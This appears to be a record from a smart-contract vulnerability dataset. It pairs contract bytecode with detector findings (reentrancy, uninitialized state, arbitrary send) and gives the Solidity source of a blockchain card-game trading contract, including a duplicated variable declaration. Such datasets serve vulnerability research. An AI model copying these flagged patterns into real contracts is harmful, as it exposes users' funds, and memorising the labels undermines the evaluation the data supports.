6c57600080fd5b6000610e7730610800565b601054909150600160a01b900460ff16158015610e945750600081115b8015610eae57506010546001600160a01b03858116911614155b8015610ec35750601054600160b01b900460ff165b15610ee357610ed18161106c565b478015610ee157610ee1816111fb565b505b505b6001600160a01b03831660009081526004602052604090205460019060ff1680610f2757506001600160a01b03831660009081526004602052604090205460ff165b15610f30575060005b80610f3d57610f3d6112be565b610f488484846112d4565b80610f5857610f58600c54600b55565b50505050565b60008184841115610f825760405162461bcd60e51b81526004016106f39190611955565b506000610f8f8486611aa9565b95945050505050565b6000600654821115610fff5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016106f3565b60006110096112e4565b90506110158382611307565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6010805460ff60a01b1916600160a01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110b4576110b4611af1565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561110857600080fd5b505afa15801561111c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111409190611769565b8160018151811061115357611153611af1565b6001600160a01b039283166020918202929092010152600f546111799130911684610b29565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111b29085906000908690309042906004016119df565b600060405180830381600087803b1580156111cc57600080fd5b505af11580156111e0573d6000803e3d6000fd5b50506010805460ff60a01b1916905550505050565b476108b4815b600d54600b546009546001600160a01b03909216916108fc9161123a91606491611234918290849061122e908a90611349565b90611349565b90611307565b6040518115909202916000818181858888f19350505050158015611262573d6000803e3d6000fd5b50600e54600b54600a546001600160a01b03909216916108fc9161129691606491611234918290849061122e908a90611349565b6040518115909202916000818181858888f193505050501580156109a2573d6000803e3d6000fd5b600b546112c757565b600b8054600c5560009055565b6112df8383836113c8565b505050565b60008060006112f16114bf565b90925090506113008282611307565b9250505090565b600061101583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611503565b6000826113585750600061065a565b60006113648385611a8a565b9050826113718583611a68565b146110155760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106f3565b6000806000806000806113da87611531565b6001600160a01b038f16600090815260016020526040902054959b5093995091975095509350915061140c908761158e565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461143b90866115d0565b6001600160a01b03891660009081526001602052604090205561145d8161162f565b6114678483611679565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114ac91815260200190565b60405180910390a3505050505050505050565b600654600090819069152d02c7e14af68000006114dc8282611307565b8210156114fa5750506006549269152d02c7e14af680000092509050565b90939092509050565b600081836115245760405162461bcd60e51b81526004016106f39190611955565b506000610f8f8486611a68565b600080600080600080600080600061154e8a600854600b5461169d565b925092509250600061155e6112e4565b905060008060006115718e8787876116ec565b919e509c509a509598509396509194505050505091939550919395565b600061101583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f5e565b6000806115dd8385611a50565b9050838110156110155760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106f3565b60006116396112e4565b905060006116478383611349565b3060009081526001602052604090205490915061166490826115d0565b30600090815260016020526040902055505050565b600654611686908361158e565b60065560075461169690826115d0565b6007555050565b60008080806116b160646112348989611349565b905060006116c460646112348a89611349565b905060006116dc826116d68b8661158e565b9061158e565b9992985090965090945050505050565b60008080806116fb8886611349565b905060006117098887611349565b905060006117178888611349565b90506000611729826116d6868661158e565b939b939a50919850919650505050505050565b803561174781611b1d565b919050565b60006020828403121561175e57600080fd5b813561101581611b1d565b60006020828403121561177b57600080fd5b815161101581611b1d565b6000806040838503121561179957600080fd5b82356117a481611b1d565b915060208301356117b481611b1d565b809150509250929050565b6000806000606084860312156117d457600080fd5b83356117df81611b1d565b925060208401356117ef81611b1d565b929592945050506040919091013590565b6000806040838503121561181357600080fd5b823561181e81611b1d565b946020939093013593505050565b6000602080838503121561183f57600080fd5b823567ffffffffffffffff8082111561185757600080fd5b818501915085601f83011261186b57600080fd5b81358181111561187d5761187d611b07565b8060051b604051601f19603f830116810181811085821117156118a2576118a2611b07565b604052828152858101935084860182860187018a10156118c157600080fd5b600095505b838610156118eb576118d78161173c565b8552600195909501949386019386016118c6565b5098975050505050505050565b60006020828403121561190a57600080fd5b8135801515811461101557600080fd5b60006020828403121561192c57600080fd5b5035919050565b6000806040838503121561194657600080fd5b50508035926020909101359150565b600060208083528351808285015260005b8181101561198257858101830151858201604001528201611966565b81811115611994576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a2f5784516001600160a01b031683529383019391830191600101611a0a565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a6357611a63611adb565b500190565b600082611a8557634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611aa457611aa4611adb565b500290565b600082821015611abb57611abb611adb565b500390565b6000600019821415611ad457611ad4611adb565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146108b457600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220563bf9ef5eacf037509fa48cebcbf4cc308a8608f486468047f27b2f2dff92bc64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
73
0x20b2EC1fe89c6977f6c1f9E5b7D5475F588186BD
pragma solidity ^0.4.18; /* ==================================================================== */ /* Copyright (c) 2018 The MagicAcademy Project. All rights reserved. /* /* https://www.magicacademy.io One of the world&#39;s first idle strategy games of blockchain /* /* authors rainy@livestar.com/fanny.zheng@livestar.com /* /* ==================================================================== */ /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract AccessAdmin is Ownable { /// @dev Admin Address mapping (address => bool) adminContracts; /// @dev Trust contract mapping (address => bool) actionContracts; function setAdminContract(address _addr, bool _useful) public onlyOwner { require(_addr != address(0)); adminContracts[_addr] = _useful; } modifier onlyAdmin { require(adminContracts[msg.sender]); _; } function setActionContract(address _actionAddr, bool _useful) public onlyAdmin { actionContracts[_actionAddr] = _useful; } modifier onlyAccess() { require(actionContracts[msg.sender]); _; } } interface BitGuildTokenInterface { // implements ERC20Interface function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } interface CardsInterface { function getGameStarted() external constant returns (bool); function getOwnedCount(address player, uint256 cardId) external view returns (uint256); function getMaxCap(address _addr,uint256 _cardId) external view returns (uint256); function upgradeUnitMultipliers(address player, uint256 upgradeClass, uint256 unitId, uint256 upgradeValue) external; function removeUnitMultipliers(address player, uint256 upgradeClass, uint256 unitId, uint256 upgradeValue) external; function balanceOf(address player) public constant returns(uint256); function coinBalanceOf(address player,uint8 itype) external constant returns(uint256); function updatePlayersCoinByPurchase(address player, uint256 purchaseCost) external; function getUnitsProduction(address player, uint256 unitId, uint256 amount) external constant returns (uint256); function increasePlayersJadeProduction(address player, uint256 increase) public; function setUintCoinProduction(address _address, uint256 cardId, uint256 iValue, bool iflag) external; function getUintsOwnerCount(address _address) external view returns (uint256); function AddPlayers(address _address) external; function setUintsOwnerCount(address _address, uint256 amount, bool iflag) external; function setOwnedCount(address player, uint256 cardId, uint256 amount, bool iflag) external; function setCoinBalance(address player, uint256 eth, uint8 itype, bool iflag) external; function setTotalEtherPool(uint256 inEth, uint8 itype, bool iflag) external; function getUpgradesOwned(address player, uint256 upgradeId) external view returns (uint256); function setUpgradesOwned(address player, uint256 upgradeId) external; function updatePlayersCoinByOut(address player) external; function balanceOfUnclaimed(address player) public constant returns (uint256); function setLastJadeSaveTime(address player) external; function setRoughSupply(uint256 iroughSupply) external; function setJadeCoin(address player, uint256 coin, bool iflag) external; function getUnitsInProduction(address player, uint256 unitId, uint256 amount) external constant returns (uint256); function reducePlayersJadeProduction(address player, uint256 decrease) public; } interface GameConfigInterface { function unitCoinProduction(uint256 cardId) external constant returns (uint256); function unitPLATCost(uint256 cardId) external constant returns (uint256); function getCostForCards(uint256 cardId, uint256 existing, uint256 amount) external constant returns (uint256); function getCostForBattleCards(uint256 cardId, uint256 existing, uint256 amount) external constant returns (uint256); function unitBattlePLATCost(uint256 cardId) external constant returns (uint256); function getUpgradeCardsInfo(uint256 upgradecardId,uint256 existing) external constant returns ( uint256 coinCost, uint256 ethCost, uint256 upgradeClass, uint256 cardId, uint256 upgradeValue, uint256 platCost ); function getCardInfo(uint256 cardId, uint256 existing, uint256 amount) external constant returns (uint256, uint256, uint256, uint256, bool); function getBattleCardInfo(uint256 cardId, uint256 existing, uint256 amount) external constant returns (uint256, uint256, uint256, bool); } interface RareInterface { function getRareItemsOwner(uint256 rareId) external view returns (address); function getRareItemsPrice(uint256 rareId) external view returns (uint256); function getRareItemsPLATPrice(uint256 rareId) external view returns (uint256); function getRarePLATInfo(uint256 _tokenId) external view returns ( uint256 sellingPrice, address owner, uint256 nextPrice, uint256 rareClass, uint256 cardId, uint256 rareValue ); function transferToken(address _from, address _to, uint256 _tokenId) external; function setRarePrice(uint256 _rareId, uint256 _price) external; } /// @notice Purchase on BitGuild /// @author rainysiu rainy@livestar.com contract BitGuildTrade is AccessAdmin { BitGuildTokenInterface public tokenContract; //data contract CardsInterface public cards ; GameConfigInterface public schema; RareInterface public rare; function BitGuildTrade() public { setAdminContract(msg.sender,true); setActionContract(msg.sender,true); } event UnitBought(address player, uint256 unitId, uint256 amount); event UpgradeCardBought(address player, uint256 upgradeId); event BuyRareCard(address player, address previous, uint256 rareId,uint256 iPrice); event UnitSold(address player, uint256 unitId, uint256 amount); function() external payable { revert(); } function setBitGuildToken(address _tokenContract) external onlyOwner { tokenContract = BitGuildTokenInterface(_tokenContract); } function setCardsAddress(address _address) external onlyOwner { cards = CardsInterface(_address); } //normal cards function setConfigAddress(address _address) external onlyOwner { schema = GameConfigInterface(_address); } //rare cards function setRareAddress(address _address) external onlyOwner { rare = RareInterface(_address); } function kill() public onlyOwner { tokenContract.transferFrom(this, msg.sender, tokenContract.balanceOf(this)); selfdestruct(msg.sender); //end execution, destroy current contract and send funds to a } /// @notice Returns all the relevant information about a specific tokenId. /// val1:flag,val2:id,val3:amount function _getExtraParam(bytes _extraData) private pure returns(uint256 val1,uint256 val2,uint256 val3) { if (_extraData.length == 2) { val1 = uint256(_extraData[0]); val2 = uint256(_extraData[1]); val3 = 1; } else if (_extraData.length == 3) { val1 = uint256(_extraData[0]); val2 = uint256(_extraData[1]); val3 = uint256(_extraData[2]); } } function receiveApproval(address _player, uint256 _value, address _tokenContractAddr, bytes _extraData) external { require(msg.sender == _tokenContractAddr); require(_extraData.length >=1); require(tokenContract.transferFrom(_player, address(this), _value)); uint256 flag; uint256 unitId; uint256 amount; (flag,unitId,amount) = _getExtraParam(_extraData); if (flag==1) { buyPLATCards(_player, _value, unitId, amount); // 1-39 } else if (flag==3) { buyUpgradeCard(_player, _value, unitId); // >=1 } else if (flag==4) { buyRareItem(_player, _value, unitId); //rarecard } } /// buy normal cards via jade function buyBasicCards(uint256 unitId, uint256 amount) external { require(cards.getGameStarted()); require(amount>=1); uint256 existing = cards.getOwnedCount(msg.sender,unitId); uint256 total = SafeMath.add(existing, amount); if (total > 99) { // Default unit limit require(total <= cards.getMaxCap(msg.sender,unitId)); // Housing upgrades (allow more units) } uint256 coinProduction; uint256 coinCost; uint256 ethCost; if (unitId>=1 && unitId<=39) { (, coinProduction, coinCost, ethCost,) = schema.getCardInfo(unitId, existing, amount); } else if (unitId>=40) { (, coinCost, ethCost,) = schema.getBattleCardInfo(unitId, existing, amount); } require(cards.balanceOf(msg.sender) >= coinCost); require(ethCost == 0); // Free ether unit // Update players jade cards.updatePlayersCoinByPurchase(msg.sender, coinCost); ///****increase production***/ if (coinProduction > 0) { cards.increasePlayersJadeProduction(msg.sender,cards.getUnitsProduction(msg.sender, unitId, amount)); cards.setUintCoinProduction(msg.sender,unitId,cards.getUnitsProduction(msg.sender, unitId, amount),true); } //players if (cards.getUintsOwnerCount(msg.sender)<=0) { cards.AddPlayers(msg.sender); } cards.setUintsOwnerCount(msg.sender,amount,true); cards.setOwnedCount(msg.sender,unitId,amount,true); UnitBought(msg.sender, unitId, amount); } function buyBasicCards_Migrate(address _addr, uint256 _unitId, uint256 _amount) external onlyAdmin { require(cards.getGameStarted()); require(_amount>=1); uint256 existing = cards.getOwnedCount(_addr,_unitId); uint256 total = SafeMath.add(existing, _amount); if (total > 99) { // Default unit limit require(total <= cards.getMaxCap(_addr,_unitId)); // Housing upgrades (allow more units) } require (_unitId == 41); uint256 coinCost; uint256 ethCost; (, coinCost, ethCost,) = schema.getBattleCardInfo(_unitId, existing, _amount); //players if (cards.getUintsOwnerCount(_addr)<=0) { cards.AddPlayers(_addr); } cards.setUintsOwnerCount(_addr,_amount,true); cards.setOwnedCount(_addr,_unitId,_amount,true); UnitBought(_addr, _unitId, _amount); } function buyPLATCards(address _player, uint256 _platValue, uint256 _cardId, uint256 _amount) internal { require(cards.getGameStarted()); require(_amount>=1); uint256 existing = cards.getOwnedCount(_player,_cardId); uint256 total = SafeMath.add(existing, _amount); if (total > 99) { // Default unit limit require(total <= cards.getMaxCap(_player,_cardId)); // Housing upgrades (allow more units) } uint256 coinProduction; uint256 coinCost; uint256 ethCost; if (_cardId>=1 && _cardId<=39) { coinProduction = schema.unitCoinProduction(_cardId); coinCost = schema.getCostForCards(_cardId, existing, _amount); ethCost = SafeMath.mul(schema.unitPLATCost(_cardId),_amount); // get platprice } else if (_cardId>=40) { coinCost = schema.getCostForBattleCards(_cardId, existing, _amount); ethCost = SafeMath.mul(schema.unitBattlePLATCost(_cardId),_amount); // get platprice } require(ethCost>0); require(SafeMath.add(cards.coinBalanceOf(_player,1),_platValue) >= ethCost); require(cards.balanceOf(_player) >= coinCost); // Update players jade cards.updatePlayersCoinByPurchase(_player, coinCost); if (ethCost > _platValue) { cards.setCoinBalance(_player,SafeMath.sub(ethCost,_platValue),1,false); } else if (_platValue > ethCost) { // Store overbid in their balance cards.setCoinBalance(_player,SafeMath.sub(_platValue,ethCost),1,true); } uint256 devFund = uint256(SafeMath.div(ethCost,20)); // 5% fee cards.setTotalEtherPool(uint256(SafeMath.div(ethCost,4)),1,true); // 20% to pool cards.setCoinBalance(owner,devFund,1,true); if (coinProduction > 0) { cards.increasePlayersJadeProduction(_player, cards.getUnitsProduction(_player, _cardId, _amount)); cards.setUintCoinProduction(_player,_cardId,cards.getUnitsProduction(_player, _cardId, _amount),true); } if (cards.getUintsOwnerCount(_player)<=0) { cards.AddPlayers(_player); } cards.setUintsOwnerCount(_player,_amount, true); cards.setOwnedCount(_player,_cardId,_amount,true); //event UnitBought(_player, _cardId, _amount); } /// buy upgrade cards with ether/Jade function buyUpgradeCard(uint256 upgradeId) external payable { require(cards.getGameStarted()); require(upgradeId>=1); uint256 existing = cards.getUpgradesOwned(msg.sender,upgradeId); uint256 coinCost; uint256 ethCost; uint256 upgradeClass; uint256 unitId; uint256 upgradeValue; (coinCost, ethCost, upgradeClass, unitId, upgradeValue,) = schema.getUpgradeCardsInfo(upgradeId,existing); if (upgradeClass<8) { require(existing<=5); } else { require(existing<=2); } require (coinCost>0 && ethCost==0); require(cards.balanceOf(msg.sender) >= coinCost); cards.updatePlayersCoinByPurchase(msg.sender, coinCost); cards.upgradeUnitMultipliers(msg.sender, upgradeClass, unitId, upgradeValue); cards.setUpgradesOwned(msg.sender,upgradeId); //upgrade cards level UpgradeCardBought(msg.sender, upgradeId); } /// upgrade cards-- jade + plat function buyUpgradeCard(address _player, uint256 _platValue,uint256 _upgradeId) internal { require(cards.getGameStarted()); require(_upgradeId>=1); uint256 existing = cards.getUpgradesOwned(_player,_upgradeId); require(existing<=5); // v1 - v6 uint256 coinCost; uint256 ethCost; uint256 upgradeClass; uint256 unitId; uint256 upgradeValue; uint256 platCost; (coinCost, ethCost, upgradeClass, unitId, upgradeValue,platCost) = schema.getUpgradeCardsInfo(_upgradeId,existing); require(platCost>0); if (platCost > 0) { require(SafeMath.add(cards.coinBalanceOf(_player,1),_platValue) >= platCost); if (platCost > _platValue) { // They can use their balance instead cards.setCoinBalance(_player, SafeMath.sub(platCost,_platValue),1,false); } else if (platCost < _platValue) { cards.setCoinBalance(_player,SafeMath.sub(_platValue,platCost),1,true); } // defund 5%,upgrade card can not be sold, uint256 devFund = uint256(SafeMath.div(platCost, 20)); // 5% fee on purchases (marketing, gameplay & maintenance) cards.setTotalEtherPool(SafeMath.sub(platCost,devFund),1,true); // Rest goes to div pool (Can&#39;t sell upgrades) cards.setCoinBalance(owner,devFund,1,true); } // Update require(cards.balanceOf(_player) >= coinCost); cards.updatePlayersCoinByPurchase(_player, coinCost); //add weight cards.upgradeUnitMultipliers(_player, upgradeClass, unitId, upgradeValue); cards.setUpgradesOwned(_player,_upgradeId); // upgrade level up //add user to userlist if (cards.getUintsOwnerCount(_player)<=0) { cards.AddPlayers(_player); } UpgradeCardBought(_player, _upgradeId); } // Allows someone to send ether and obtain the token function buyRareItem(address _player, uint256 _platValue,uint256 _rareId) internal { require(cards.getGameStarted()); address previousOwner = rare.getRareItemsOwner(_rareId); // rare card require(previousOwner != 0); require(_player!=previousOwner); // can not buy from itself uint256 ethCost = rare.getRareItemsPLATPrice(_rareId); // get plat cost uint256 totalCost = SafeMath.add(cards.coinBalanceOf(_player,1),_platValue); require(totalCost >= ethCost); // We have to claim buyer/sellder&#39;s goo before updating their production values cards.updatePlayersCoinByOut(_player); cards.updatePlayersCoinByOut(previousOwner); uint256 upgradeClass; uint256 unitId; uint256 upgradeValue; (,,,,upgradeClass, unitId, upgradeValue) = rare.getRarePLATInfo(_rareId); // modify weight cards.upgradeUnitMultipliers(_player, upgradeClass, unitId, upgradeValue); cards.removeUnitMultipliers(previousOwner, upgradeClass, unitId, upgradeValue); // Splitbid/Overbid if (ethCost > _platValue) { cards.setCoinBalance(_player,SafeMath.sub(ethCost,_platValue),1,false); } else if (_platValue > ethCost) { // Store overbid in their balance cards.setCoinBalance(_player,SafeMath.sub(_platValue,ethCost),1,true); } // Distribute ethCost uint256 devFund = ethCost / 50; uint256 devFund = uint256(SafeMath.div(ethCost, 20)); // 5% fee on purchases (marketing, gameplay & maintenance) 抽成2% uint256 dividends = uint256(SafeMath.div(ethCost,20)); // 5% goes to pool cards.setTotalEtherPool(dividends,1,true); // 5% to pool cards.setCoinBalance(owner,devFund,1,true); // 5% fee // Transfer / update rare item rare.transferToken(previousOwner,_player,_rareId); rare.setRarePrice(_rareId,SafeMath.div(SafeMath.mul(rare.getRareItemsPrice(_rareId),5),4)); cards.setCoinBalance(previousOwner,SafeMath.sub(ethCost,SafeMath.add(dividends,devFund)),1,true); if (cards.getUintsOwnerCount(_player)<=0) { cards.AddPlayers(_player); } cards.setUintsOwnerCount(_player,1,true); cards.setUintsOwnerCount(previousOwner,1,true); //tell the world BuyRareCard(_player, previousOwner, _rareId, ethCost); } /// refunds 75% since no transfer between bitguild and player,no need to call approveAndCall function sellCards( uint256 _unitId, uint256 _amount) external { require(cards.getGameStarted()); uint256 existing = cards.getOwnedCount(msg.sender,_unitId); require(existing >= _amount && _amount>0); existing = SafeMath.sub(existing,_amount); uint256 coinChange; uint256 decreaseCoin; uint256 schemaUnitId; uint256 coinProduction; uint256 coinCost; uint256 ethCost; bool sellable; if (_unitId>=40) { // upgrade card (schemaUnitId,coinCost,, sellable) = schema.getBattleCardInfo(_unitId, existing, _amount); ethCost = SafeMath.mul(schema.unitBattlePLATCost(_unitId),_amount); } else { (schemaUnitId, coinProduction, coinCost, , sellable) = schema.getCardInfo(_unitId, existing, _amount); ethCost = SafeMath.mul(schema.unitPLATCost(_unitId),_amount); // plat } require(sellable); // can be refunded if (coinCost>0) { coinChange = SafeMath.add(cards.balanceOfUnclaimed(msg.sender), SafeMath.div(SafeMath.mul(coinCost,70),100)); // Claim unsaved goo whilst here } else { coinChange = cards.balanceOfUnclaimed(msg.sender); } cards.setLastJadeSaveTime(msg.sender); cards.setRoughSupply(coinChange); cards.setJadeCoin(msg.sender, coinChange, true); // refund 75% Jadecoin to player decreaseCoin = cards.getUnitsInProduction(msg.sender, _unitId, _amount); if (coinProduction > 0) { cards.reducePlayersJadeProduction(msg.sender, decreaseCoin); //update the speed of jade minning cards.setUintCoinProduction(msg.sender,_unitId,decreaseCoin,false); } if (ethCost > 0) { // Premium units sell for 75% of buy cost cards.setCoinBalance(msg.sender,SafeMath.div(SafeMath.mul(ethCost,70),100),1,true); } cards.setOwnedCount(msg.sender,_unitId,_amount,false); cards.setUintsOwnerCount(msg.sender,_amount,false); //tell the world UnitSold(msg.sender, _unitId, _amount); } //@notice for player withdraw function withdrawEtherFromTrade(uint256 amount) external { require(amount <= cards.coinBalanceOf(msg.sender,1)); cards.setCoinBalance(msg.sender,amount,1,false); tokenContract.transfer(msg.sender,amount); } //@notice withraw all PLAT by dev function withdrawToken(uint256 amount) external onlyOwner { uint256 balance = tokenContract.balanceOf(this); require(balance > 0 && balance >= amount); tokenContract.transfer(msg.sender, amount); } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x6060604052600436106100f85763ffffffff60e060020a6000350416630865dadc81146100fd5780633702ab031461012357806341c0e1b51461013c57806350baa6221461014f57806355a373d61461016557806358a4903f1461019457806363c78e87146101a75780636bb7b7a4146101bd5780636cdb1b75146101d05780636fb642de146101ef578063727b42761461021357806376f2ccb91461023257806383a12de914610251578063845b6aca146102705780638da5cb5b146102955780638f4ffcb1146102a85780639a5c0abc146102de578063c3059c63146102f7578063f2fde38b14610302578063f8895cc814610321575b600080fd5b341561010857600080fd5b610121600160a060020a03600435166024351515610334565b005b341561012e57600080fd5b61012160043560243561038f565b341561014757600080fd5b610121610b04565b341561015a57600080fd5b610121600435610c00565b341561017057600080fd5b610178610d10565b604051600160a060020a03909116815260200160405180910390f35b341561019f57600080fd5b610178610d1f565b34156101b257600080fd5b610121600435610d2e565b34156101c857600080fd5b610178610e98565b34156101db57600080fd5b610121600160a060020a0360043516610ea7565b34156101fa57600080fd5b610121600160a060020a03600435166024351515610ef1565b341561021e57600080fd5b610121600160a060020a0360043516610f43565b341561023d57600080fd5b610121600160a060020a0360043516610f8d565b341561025c57600080fd5b610121600160a060020a0360043516610fd7565b341561027b57600080fd5b610121600160a060020a0360043516602435604435611021565b34156102a057600080fd5b61017861146c565b34156102b357600080fd5b61012160048035600160a060020a03908116916024803592604435169160643591820191013561147b565b34156102e957600080fd5b6101216004356024356115be565b610121600435611e24565b341561030d57600080fd5b610121600160a060020a03600435166121e9565b341561032c57600080fd5b610178612284565b60005433600160a060020a0390811691161461034f57600080fd5b600160a060020a038216151561036457600080fd5b600160a060020a03919091166000908152600160205260409020805460ff1916911515919091179055565b6004546000908190819081908190600160a060020a0316639267b2916040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156103d957600080fd5b5af115156103e657600080fd5b5050506040518051905015156103fb57600080fd5b600186101561040957600080fd5b600454600160a060020a031663196ecd25338960405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561045f57600080fd5b5af1151561046c57600080fd5b5050506040518051905094506104828587612293565b9350606384111561050657600454600160a060020a031663969ddd71338960405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156104e357600080fd5b5af115156104f057600080fd5b5050506040518051851115905061050657600080fd5b60018710158015610518575060278711155b156105b257600554600160a060020a031663ee4827ea88878960405160e060020a63ffffffff861602815260048101939093526024830191909152604482015260640160a060405180830381600087803b151561057457600080fd5b5af1151561058157600080fd5b5050506040518051906020018051906020018051906020018051906020018051509296509094509250610641915050565b6028871061064157600554600160a060020a031663b2570b1c88878960405160e060020a63ffffffff8616028152600481019390935260248301919091526044820152606401608060405180830381600087803b151561061157600080fd5b5af1151561061e57600080fd5b505050604051805190602001805190602001805190602001805150919450925050505b6004548290600160a060020a03166370a082313360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561069357600080fd5b5af115156106a057600080fd5b50505060405180519050101515156106b757600080fd5b80156106c257600080fd5b600454600160a060020a031663a1c90a11338460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b151561071857600080fd5b5af1151561072557600080fd5b50505060008311156108e557600454600160a060020a03166379c310a63382632d171243828c8c60405160e060020a63ffffffff8616028152600160a060020a03909316600484015260248301919091526044820152606401602060405180830381600087803b151561079757600080fd5b5af115156107a457600080fd5b5050506040518051905060405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b15156107f157600080fd5b5af115156107fe57600080fd5b5050600454600160a060020a0316905063ce29555f338983632d17124383838d60405160e060020a63ffffffff8616028152600160a060020a03909316600484015260248301919091526044820152606401602060405180830381600087803b151561086957600080fd5b5af1151561087657600080fd5b50505060405180519050600160405160e060020a63ffffffff8716028152600160a060020a0390941660048501526024840192909252604483015215156064820152608401600060405180830381600087803b15156108d457600080fd5b5af115156108e157600080fd5b5050505b600454600090600160a060020a031663a436e33b3360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561093857600080fd5b5af1151561094557600080fd5b505050604051805190501115156109b757600454600160a060020a031663f7fb0a4b3360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b15156109a657600080fd5b5af115156109b357600080fd5b5050505b600454600160a060020a031663fc4756df3388600160405160e060020a63ffffffff8616028152600160a060020a039093166004840152602483019190915215156044820152606401600060405180830381600087803b1515610a1957600080fd5b5af11515610a2657600080fd5b5050600454600160a060020a0316905063e7001b84338989600160405160e060020a63ffffffff8716028152600160a060020a0390941660048501526024840192909252604483015215156064820152608401600060405180830381600087803b1515610a9257600080fd5b5af11515610a9f57600080fd5b5050507fb6d35f558a34938047f09ebf800fa2e15ec407c357a8eab97a5dd67b4d015b5b3388886040518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a150505050505050565b60005433600160a060020a03908116911614610b1f57600080fd5b600354600160a060020a03166323b872dd3033836370a082318360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610b7757600080fd5b5af11515610b8457600080fd5b5050506040518051905060405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b1515610bdd57600080fd5b5af11515610bea57600080fd5b50505060405180515050600160a060020a033316ff5b6000805433600160a060020a03908116911614610c1c57600080fd5b600354600160a060020a03166370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610c6c57600080fd5b5af11515610c7957600080fd5b5050506040518051915050600081118015610c945750818110155b1515610c9f57600080fd5b600354600160a060020a031663a9059cbb338460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610cf557600080fd5b5af11515610d0257600080fd5b505050604051805150505050565b600354600160a060020a031681565b600454600160a060020a031681565b600454600160a060020a031663e8d320e633600160405160e060020a63ffffffff8516028152600160a060020a03909216600483015260ff166024820152604401602060405180830381600087803b1515610d8857600080fd5b5af11515610d9557600080fd5b50505060405180518211159050610dab57600080fd5b600454600160a060020a0316635460554933836001600060405160e060020a63ffffffff8716028152600160a060020a039094166004850152602484019290925260ff16604483015215156064820152608401600060405180830381600087803b1515610e1757600080fd5b5af11515610e2457600080fd5b5050600354600160a060020a0316905063a9059cbb338360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610e7e57600080fd5b5af11515610e8b57600080fd5b50505